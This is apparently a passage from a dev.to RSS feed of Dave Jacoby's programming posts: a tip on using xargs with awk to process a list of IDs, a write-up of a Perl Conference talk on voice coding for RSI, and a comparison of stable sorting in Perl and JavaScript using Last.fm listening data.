w6ulq3sdvyir
wxk3bbdpwdx3
y2npmn6yjkcx
zepz3n2e2to7
zk08o7dysokt
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;(And no, that's just random strings, but bear with me.)&lt;/p&gt;

&lt;p&gt;So, I needed to run &lt;code&gt;api_tool -status done -r&lt;/code&gt; for all of those, and thought through the pain of all the other options. List of IDs into a file, and then ... bash &lt;code&gt;for&lt;/code&gt; loop? add &lt;code&gt;api_tool ...&lt;/code&gt; to every line and &lt;code&gt;sh id_list.txt&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;And then I remembered &lt;code&gt;xargs&lt;/code&gt;, and a half-dozen tabs were opened.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;xargs&lt;/code&gt; has a &lt;em&gt;lot&lt;/em&gt; of flags, so there's a LOT more to it than what I'm using here, but what I used was &lt;code&gt;api_tool -q not_done -f 2019-06-01 | awk "{print $1}" | xargs -n 1 api_tool -status done -r&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This&lt;/em&gt; &lt;code&gt;awk&lt;/code&gt; command was right the first time (yay me!) but I ran the &lt;code&gt;xargs&lt;/code&gt; against echo a few times before I got it right. &lt;code&gt;-n &amp;lt;number&amp;gt;&lt;/code&gt; determines the number of entries it pulls from the list of entries at once (we just want the one) and appends it to the end of the list, so &lt;code&gt;&amp;lt;whatever&amp;gt; | xargs -n 1 &amp;lt;command&amp;gt;&lt;/code&gt; becomes &lt;code&gt;&amp;lt;command&amp;gt; &amp;lt;first entry&amp;gt;&lt;/code&gt; and so on.&lt;/p&gt;

&lt;p&gt;This saved me a &lt;em&gt;whole&lt;/em&gt; &lt;em&gt;lot&lt;/em&gt; of pointless typing, and I'm so glad. &lt;/p&gt;

&lt;h2&gt;
  
  
  moral
&lt;/h2&gt;

&lt;p&gt;The point is that you should &lt;em&gt;recognize&lt;/em&gt; when you have gaps, &lt;em&gt;exploit&lt;/em&gt; opportunities to learn things, and &lt;em&gt;record&lt;/em&gt; these things so that you (and others) can use them later.&lt;/p&gt;

&lt;p&gt;And, &lt;code&gt;xargs&lt;/code&gt; is cool, yo. &lt;/p&gt;

</description>
      <category>xargs</category>
      <category>unix</category>
      <category>commandline</category>
    </item>
    <item>
      <title>"Perl Out Loud", or another way to handle RSI</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Sun, 23 Jun 2019 18:05:13 +0000</pubDate>
      <link>https://dev.to/jacoby/perl-out-loud-or-another-way-to-handle-rsi-3p95</link>
      <guid>https://dev.to/jacoby/perl-out-loud-or-another-way-to-handle-rsi-3p95</guid>
      <description>&lt;p&gt;The Perl Conference was in Pittsburgh this year, and one of the talks, and by far a favorite, was given by &lt;a href="https://twitter.com/yomilly"&gt;Emily Shae&lt;/a&gt;, a software engineer at Fastly. &lt;/p&gt;

&lt;p&gt;She had been developing repetitive stress injury, which is "is what black lung is to miners", &lt;a href="https://dev.tois%20what%20black%20lung%20is%20to%20miners"&gt;as Neil Stephenson wrote&lt;/a&gt;, and nothing really worked, until ... &lt;/p&gt;

&lt;p&gt;I'll let her tell it.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/Mz3JeYfBTcY"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;(All you anti-Perl gripers, her workplace is Perl, the conference is Perl and the examples for the audience are Perl, but there is not much Perl &lt;em&gt;in&lt;/em&gt; the toolchain  and it can be easily be changed into your language of choice. That isn't the point. Troll better.)&lt;/p&gt;

&lt;p&gt;I already use Google Assistant for many things, so I'm primed, but the &lt;a href="https://shop.nuance.com/store/nuanceus/custom/pbpage.resp-dragon-home-bf-2013-digital"&gt;Dragon Dictation&lt;/a&gt; and &lt;a href="https://talonvoice.com/"&gt;Talon Voice&lt;/a&gt; are right there on the machine (ATM Mac-only, but with Linux and Windows on the feature roadmap), there shouldn't be the lag that I get between "turn off the lights" and darkness.&lt;/p&gt;

&lt;p&gt;The ergonomic benefits are cool, but for me, the idea that we might get further away from the Keyboard, Monitor, Mouse standard for developer workstations is exciting. Yeah, for open office plans, it'd start to get very bad, but open office plans are already bad.&lt;/p&gt;

&lt;p&gt;So, if you are beginning to feel the pain, or simply want to try something new, give this a try.&lt;/p&gt;

</description>
      <category>rsi</category>
      <category>voice</category>
      <category>ergonomics</category>
      <category>video</category>
    </item>
    <item>
      <title>Stable Sort and Ways Around It</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Mon, 15 Apr 2019 18:20:11 +0000</pubDate>
      <link>https://dev.to/jacoby/stable-sort-and-ways-around-it-4ge1</link>
      <guid>https://dev.to/jacoby/stable-sort-and-ways-around-it-4ge1</guid>
      <description>&lt;p&gt;There’s a service called &lt;a href="https://www.last.fm/"&gt;Last.fm&lt;/a&gt; which allows you to store what tracks you listen to. I have started to export that data from Last.fm into a local database, where I have all the songs I have &lt;em&gt;scrobbled&lt;/em&gt; (listened to and reported to their system) since Jan 1, 2008. Here we have the first four, sorted on &lt;code&gt;id&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[
  {
    "artist": "Planes Mistaken For Stars",
    "id": "++2oW+aGn4m9JoPRd5tgXMRuZY4",
    "plays": 1,
    "song": "Police Story / Wasted"
  },
  {
    "artist": "Chairlift",
    "id": "++9JAle7S9huuAw0bUPH2Nx15ds",
    "plays": 1,
    "song": "Crying in Public - Alternate Version"
  },
  {
    "artist": "Ali Farka Touré",
    "id": "++D58rizJf3r8hBYEsI9iChDM0k",
    "plays": 3,
    "song": "Erdi"
  },
  {
    "artist": "fIREHOSE",
    "id": "++ehP6ysoH1N0JHUJB0GhNAx7I4",
    "plays": 1,
    "song": "From One Cums One"
  }
]

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;But this isn’t such a helpful sort, is it? I can imagine two preferable sorts: by number of plays and by artist/song. Perhaps artist/release year/song, but I don’t currently have all that information.&lt;/p&gt;

&lt;p&gt;Because rigged demo, I &lt;em&gt;know&lt;/em&gt; that I have listened to &lt;a href="https://www.christhile.com/"&gt;Chris Thile&lt;/a&gt; songs 86 times. (Does not count Punch Brothers or Nickel Creek or duet projects.) And because of albums, I know I’ve heard seveal songs the same number of times.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[
  {
    "artist": "Chris Thile",
    "id": "XgLBRBSQ4jKrrDn2GZ0C7W+rFbY",
    "plays": 1,
    "song": "Trail's End"
  },
  {
    "artist": "Chris Thile",
    "id": "xsoV1/NPsRcbiL47F6JNFLbpBPw",
    "plays": 1,
    "song": "Shadow Ridge"
  },
  {
    "artist": "Chris Thile",
    "id": "z8f9Kr1ZDO+NwweoYp474ebzBwU",
    "plays": 6,
    "song": "Wayside (Back in Time)"
  },
  {
    "artist": "Chris Thile",
    "id": "zvDn5OFuvO99CyfCeBizrlxeHuE",
    "plays": 6,
    "song": "I'm Yours If You Want Me"
  },
  {
    "artist": "Chris Thile",
    "id": "ZWvpfxcBiOKDaLCMCQ+2PyvICeU",
    "plays": 1,
    "song": "Ready for Anything"
  }
]

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;So, what we want is a list of his songs sorted first by number of plays and then alphabetically by song name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env perl

use strict;
use warnings;
use utf8;
use feature qw{ postderef say signatures state switch };
no warnings qw{ experimental::postderef
    experimental::smartmatch
    experimental::signatures };

use JSON;
use List::Util qw{uniq};

my $json = JSON-&amp;gt;new-&amp;gt;pretty-&amp;gt;canonical;
my $file = 'lastfm.json';
if ( -f $file &amp;amp;&amp;amp; open my $fh, '&amp;lt;', $file ) {
    my $text = join '', &amp;lt;$fh&amp;gt;;
    close $fh;

    my $obj = $json-&amp;gt;decode($text);
    my $bigger-&amp;gt;@* =
        grep { $_-&amp;gt;{plays} &amp;gt; 19 } $obj-&amp;gt;@*; # at least 10 plays per song

    my $thile-&amp;gt;@* =
        grep { defined $_-&amp;gt;{artist} &amp;amp;&amp;amp; $_-&amp;gt;{artist} eq 'Chris Thile' }
        $obj-&amp;gt;@*;

    # reminder that you read this line back to front, so we are
    # sorting on song name first, than play count
    say join "\n", map { join "\t", $_-&amp;gt;{plays}, $_-&amp;gt;{song} }
        sort { $b-&amp;gt;{plays} &amp;lt;=&amp;gt; $a-&amp;gt;{plays} }
        sort { $a-&amp;gt;{song} cmp $b-&amp;gt;{song} }
        $thile-&amp;gt;@*;
}

# 30    Heart in a Cage
# 6 Brakeman's Blues
# 6 How to Grow a Woman From the Ground
# 6 I'm Yours If You Want Me
# 6 Stay Away
# 6 Wayside (Back in Time)
# 5 Cazadero
# 5 If The Sea Was Whiskey
# 5 O Santo De Polvora
# 5 The Beekeeper
# 5 The Eleventh Reel
# 5 You're An Angel and I'm Gonna Cry
# 4 Dead Leaves and the Dirty Ground
# 3 Alderaanian Melody
# ...
# There are 86 songs in total, so we're cutting this down

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Perl offers &lt;code&gt;stable sort&lt;/code&gt;, where we can stack sorts like this, knowing that order gets preserved if not otherwise sorted.&lt;/p&gt;

&lt;p&gt;So, what about JavaScript?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env node

const fs = require("fs");
var text = fs.readFileSync("lastfm.json", "utf8");
var obj = JSON.parse(text);

var thile = obj
  .filter(t =&amp;gt; t.artist === "Chris Thile")
  .sort((a, b) =&amp;gt; {
    if (a.song &amp;gt; b.song) {
      return 1;
    }
    if (a.song &amp;lt; b.song) {
      return -1;
    }
    return 0;
  })
  .sort((a, b) =&amp;gt; b.plays - a.plays);

console.log(thile.map(t =&amp;gt; [t.plays, t.song].join("\t")).join("\n"));

// 30   Heart in a Cage
// 6    Brakeman's Blues
// 6    I'm Yours If You Want Me
// 6    Wayside (Back in Time)
// 6    Stay Away
// 6    How to Grow a Woman From the Ground
// 5    You're An Angel and I'm Gonna Cry
// 5    O Santo De Polvora
// 5    If The Sea Was Whiskey
// 5    Cazadero
// 5    The Eleventh Reel
// 5    The Beekeeper
// 4    Dead Leaves and the Dirty Ground
// 3    Watch 'at Breakdown
// 3    Alderaanian Melody

// W before A? S before H?

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;We &lt;em&gt;did&lt;/em&gt; sort by song title before we sorted by plays. We can &lt;em&gt;see&lt;/em&gt; that. So, what happened?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://twitter.com/BrendanEich/status/1117853579971158026"&gt;“I wish JS offered stable sort but committee could not agree on it even in 1996, and you can stabilize at some cost above the API.”&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;– &lt;a href="https://twitter.com/BrendanEich/"&gt;Brendan Eich (@BrendanEich)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;(I was discussing this with Gizmo and threw in an aside to Brendan, and he answered. We live in a world where we can ask “Hey, language creator? How come your language is like this?” and get an answer. How cool is that?)&lt;/p&gt;

&lt;p&gt;So, the goal here here is to stabilize it myself, and I know how.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env node

const fs = require("fs");
var text = fs.readFileSync("lastfm.json", "utf8");
var obj = JSON.parse(text);

var thile = obj
  .filter(t =&amp;gt; t.artist === "Chris Thile")
  .sort((a, b) =&amp;gt; {
    /*
      the sort for plays comes first, but instead the short form
      we just handle the greater or less then cases, letting the 
      equals case drop through...  
     */
    if (a.plays &amp;lt; b.plays) { return 1; }
    if (a.plays &amp;gt; b.plays) { return -1; }
    /*
      ... to here, where we can do greater than and less than on
      strings. I don't GET or APPROVE of that, but I am given no
      other choice, and so we sort on song title.
     */
    if (a.song &amp;gt; b.song) { return 1; }
    if (a.song &amp;lt; b.song) { return -1; }
    /*
      And we return 0 if everything else is even.
     */
    return 0;
  });
console.log(thile.map(t =&amp;gt; [t.plays, t.song].join("\t")).join("\n"));

// 30   Heart in a Cage
// 6    Brakeman's Blues
// 6    How to Grow a Woman From the Ground
// 6    I'm Yours If You Want Me
// 6    Stay Away
// 6    Wayside (Back in Time)
// 5    Cazadero
// 5    If The Sea Was Whiskey
// 5    O Santo De Polvora
// 5    The Beekeeper
// 5    The Eleventh Reel
// 5    You're An Angel and I'm Gonna Cry
// 4    Dead Leaves and the Dirty Ground
// 3    Alderaanian Melody

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And there you go. Have I given the subtle clue that I’m a frustrated mandolin player?&lt;/p&gt;

&lt;p&gt;If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io"&gt;make an issue on my blog repo&lt;/a&gt;.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
